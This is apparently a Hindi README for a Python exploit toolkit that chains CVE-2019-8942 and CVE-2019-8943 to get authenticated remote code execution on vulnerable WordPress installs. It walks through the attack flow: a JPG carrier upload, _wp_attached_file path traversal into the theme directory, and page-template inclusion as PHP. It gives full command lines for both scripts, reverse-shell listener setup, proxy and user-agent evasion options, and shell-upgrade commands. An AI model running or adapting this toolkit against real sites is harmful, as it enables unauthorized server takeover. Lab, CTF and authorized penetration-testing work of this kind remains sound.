वर्डप्रेस क्रॉप इमेज RCE के लिए Python शोषण टूलकिट — CVE-2019-8942 & CVE-2019-8943
प्रमाणित WordPress क्रॉप-इमेज शोषण श्रृंखला का Python3 कार्यान्वयन। यह रिपॉजिटरी दो स्वतंत्र कार्यप्रवाहों के आसपास आयोजित की गई है: एक मैन्युअल OSCP-शैली स्क्रिप्ट और एक पूरी तरह से स्वचालित स्क्रिप्ट जिसमें एक एकीकृत रिवर्स-शेल हैंडलर है।
इसका उपयोग केवल अधिकृत लैब्स, CTFs, प्रशिक्षण प्लेटफार्मों या उन प्रणालियों में करें जहाँ आपके पास परीक्षण करने की स्पष्ट अनुमति है।
शोषण श्रृंखला निम्नलिखित भेद्यताओं को लक्षित करती है:
CVE-2019-8942CVE-2019-8943इस भेद्यता के लिए सार्वजनिक Metasploit मॉड्यूल प्रभावित संस्करणों का वर्णन इस प्रकार करता है:
WordPress 5.0.0 और WordPress <= 4.9.8
एक वैध WordPress खाता जिसमें मीडिया अपलोड/संपादन अनुमतियाँ हों, आवश्यक है। कई लैब वातावरणों में, लेखक-स्तर का उपयोगकर्ता पर्याप्त होता है।
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg डिफ़ॉल्ट JPG वाहक है जिसका उपयोग OSCP-शैली स्क्रिप्ट द्वारा किया जाता है। इसे शामिल किया गया है ताकि मैन्युअल कार्यप्रवाह बिना किसी यादृच्छिक छवि की खोज किए तुरंत काम करे।
autoexploit.py स्व-निहित है और इसमें आंतरिक रूप से अपना हेक्साडेसिमल JPG वाहक शामिल है, लेकिन यह -i के साथ एक कस्टम JPG भी स्वीकार कर सकता है।
python3 -m pip install -r requirements.txt
एकमात्र आवश्यक Python पैकेज है:
requests
यदि आप SOCKS प्रॉक्सी समर्थन चाहते हैं, तो अपने वातावरण में SOCKS एक्स्ट्रा के साथ requests स्थापित करें:
python3 -m pip install 'requests[socks]'
| स्क्रिप्ट | सर्वश्रेष्ठ के लिए | इमेज हैंडलिंग | शेल हैंडलिंग |
|---|---|---|---|
exploit_oscp.py | OSCP-शैली/मैन्युअल शोषण | डिफ़ॉल्ट रूप से image.jpg का उपयोग करता है, या -i custom.jpg | आप nc मैन्युअल रूप से शुरू करते हैं |
autoexploit.py | तेज़ लैब उपयोग और पुनरावृत्त परीक्षण | डिफ़ॉल्ट रूप से एक एम्बेडेड हेक्स JPG का उपयोग करता है, या -i custom.jpg | लिसनर शुरू करता है, कॉलबैक ट्रिगर करता है, और एक इंटरैक्टिव कंसोल खोलता है |
दोनों स्क्रिप्ट स्वतंत्र हैं। कोई भी दूसरे से कोड आयात नहीं करता है।
exploit_oscp.py कार्यप्रवाह को स्पष्ट रखता है। यह इमेज वाहक तैयार करता है, प्रमाणित WordPress शोषण श्रृंखला करता है, कमांड निष्पादन की पुष्टि करता है, और आपके द्वारा मैन्युअल रूप से शुरू किए गए लिसनर पर एक रिवर्स शेल ट्रिगर करता है।
यह स्वचालित रूप से हैंडलर शुरू नहीं करता है और Metasploit, Meterpreter, या msfvenom का उपयोग नहीं करता है।
पहले अपना लिसनर शुरू करें:
nc -lvnp 443
डिफ़ॉल्ट image.jpg का उपयोग करके शोषण चलाएँ:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| विकल्प | आवश्यक | डिफ़ॉल्ट | अर्थ |
|---|---|---|---|
-t, --target | हाँ | कोई नहीं | लक्षित WordPress बेस URL, उदाहरण http://target.local/ |
-u, --username | हाँ | कोई नहीं | WordPress उपयोगकर्ता नाम |
-p, --password | हाँ | कोई नहीं | WordPress पासवर्ड |
-i, --image | नहीं | image.jpg | तैयार करने और अपलोड करने के लिए JPG वाहक |
--lhost | हाँ | कोई नहीं | आपका कॉलबैक IP, सामान्यतः आपका VPN/tun0 IP |
--lport | हाँ | कोई नहीं | वह पोर्ट जहाँ आपका मैन्युअल लिसनर प्रतीक्षा कर रहा है |
--proxy | नहीं | कोई नहीं | प्रॉक्सी URL, उदाहरण http://127.0.0.1:8080 या socks5://127.0.0.1:9050 |
--user-agent | नहीं | अंतर्निर्मित | कस्टम User-Agent हेडर |
--random-user-agent | नहीं | अक्षम | यादृच्छिक ब्राउज़र-जैसा User-Agent उपयोग करें |
--timeout | नहीं | 20 | HTTP समय-सीमा सेकंड में |
--debug | नहीं | अक्षम | HTTP डीबग आउटपुट प्रिंट करें और उपयोगी विफल प्रतिक्रियाएँ सहेजें |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py गति के लिए डिज़ाइन किया गया है। यह केवल लक्ष्य क्रेडेंशियल्स के साथ चल सकता है और कॉलबैक IP और लिसनर पोर्ट को स्वचालित रूप से चुनने का प्रयास करेगा।
यह पूर्ण शोषण प्रवाह करता है, एक स्थानीय लिसनर शुरू करता है, कई रिवर्स-शेल पेलोड शैलियों का प्रयास करता है, और रंगीन स्थानीय स्थिति संदेशों और शांत TTY-अपग्रेड हैंडलिंग के साथ एक स्वच्छ इंटरैक्टिव कंसोल खोलता है।
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| विकल्प | आवश्यक | डिफ़ॉल्ट | अर्थ |
|---|---|---|---|
-t, --target | हाँ | कोई नहीं | लक्षित WordPress बेस URL |
-u, --username | हाँ | कोई नहीं | WordPress उपयोगकर्ता नाम |
-p, --password | हाँ | कोई नहीं | WordPress पासवर्ड |
-i, --image | नहीं | एम्बेडेड हेक्स JPG | वैकल्पिक कस्टम JPG वाहक |
--lhost | नहीं | स्वतः-पता लगाया गया | रिवर्स शेल द्वारा उपयोग किया जाने वाला कॉलबैक IP |
--lport | नहीं | मुक्त स्थानीय पोर्ट | स्थानीय लिसनर पोर्ट |
--listen-timeout | नहीं | 12 | प्रत्येक रिवर्स-शेल प्रयास के लिए प्रतीक्षा करने के लिए सेकंड |
--proxy | नहीं | कोई नहीं | प्रॉक्सी URL, उदाहरण http://127.0.0.1:8080 या socks5://127.0.0.1:9050 |
--user-agent | नहीं | अंतर्निर्मित | कस्टम User-Agent हेडर |
--random-user-agent | नहीं | अक्षम | यादृच्छिक ब्राउज़र-जैसा User-Agent उपयोग करें |
--timeout | नहीं | 20 | HTTP समय-सीमा सेकंड में |
--debug | नहीं | अक्षम | HTTP डीबग आउटपुट प्रिंट करें और उपयोगी विफल प्रतिक्रियाएँ सहेजें |
Burp के माध्यम से HTTP प्रॉक्सी:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS प्रॉक्सी:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
कस्टम User-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
यादृच्छिक User-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
यह सामान्य PHP अपलोड नहीं है। WordPress छवि सामग्री की अपेक्षा करता है, फ़ाइल को मीडिया संपादक के माध्यम से संसाधित करता है, और एक क्रॉप की गई छवि बनाता है। शोषण श्रृंखला फिर अनुलग्नक मेटाडेटा और पथ ट्रैवर्सल का दुरुपयोग करके सक्रिय थीम निर्देशिका के अंदर एक क्रॉप की गई छवि रखती है। अंत में, क्रॉप की गई फ़ाइल को एक पृष्ठ टेम्पलेट के रूप में संदर्भित किया जाता है ताकि WordPress इसे PHP के रूप में शामिल करे।
नाजुक EXIF मेटाडेटा में PHP के साथ एक यादृच्छिक JPG विफल हो सकता है क्योंकि GD क्रॉप प्रसंस्करण के दौरान मेटाडेटा को हटा या पुनः-एन्कोड कर सकता है। यह रिपॉजिटरी कार्यप्रवाह को स्पष्ट रखती है:
exploit_oscp.py डिफ़ॉल्ट रूप से शामिल image.jpg या -i के साथ पारित कस्टम छवि का उपयोग करता है।autoexploit.py में एक आंतरिक हेक्साडेसिमल वाहक होता है ताकि यह स्व-निहित रहे।async-upload.php के माध्यम से JPG वाहक अपलोड करें।_wp_attached_file हेरफेर का उपयोग करें।_wp_page_template को क्रॉप किए गए JPG नाम पर सेट करें।0 GET पैरामीटर के माध्यम से कमांड निष्पादन की पुष्टि करें।जाँचें कि WordPress संस्करण असुरक्षित है और खाता मीडिया अपलोड और संपादित कर सकता है।
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
कॉलबैक IP और लिसनर जाँचें।
ip addr show tun0
nc -lvnp 443
फिर सही --lhost के साथ OSCP स्क्रिप्ट फिर से चलाएँ।
प्रॉक्सी विकल्प स्पष्ट रूप से उपयोग करें:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS समर्थन स्थापित करें:
python3 -m pip install 'requests[socks]'
बुनियादी रिवर्स शेल अक्सर सीमित होते हैं। स्वचालित स्क्रिप्ट सत्र को स्वचालित रूप से अपग्रेड करने का प्रयास करती है। OSCP मोड में, कॉलबैक प्राप्त करने के बाद मैन्युअल रूप से अपग्रेड करें:
python3 -c 'import pty; pty.spawn("/bin/bash")'
स्थानीय रूप से Ctrl+Z दबाएँ, फिर चलाएँ:
stty raw -echo; fg
शेल के अंदर:
export TERM=xterm
exploit_oscp.py जानबूझकर मैन्युअल है:
autoexploit.py पर कोई निर्भरता नहीं;LHOST और LPORT;इच्छित कार्यप्रवाह है:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
अनुसंधान और भेद्यता श्रृंखला मूल शोधकर्ताओं द्वारा सार्वजनिक रूप से दस्तावेजित की गई थी और बाद में सार्वजनिक शोषण ढाँचों में कार्यान्वित की गई।
SpeatX द्वारा Python कार्यान्वयन और लैब कार्यप्रवाह।
यह रिपॉजिटरी अधिकृत सुरक्षा परीक्षण, CTFs, प्रशिक्षण लैब्स और शैक्षिक अनुसंधान के लिए प्रदान की गई है।
इसे उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण करने की आपके पास स्पष्ट अनुमति नहीं है।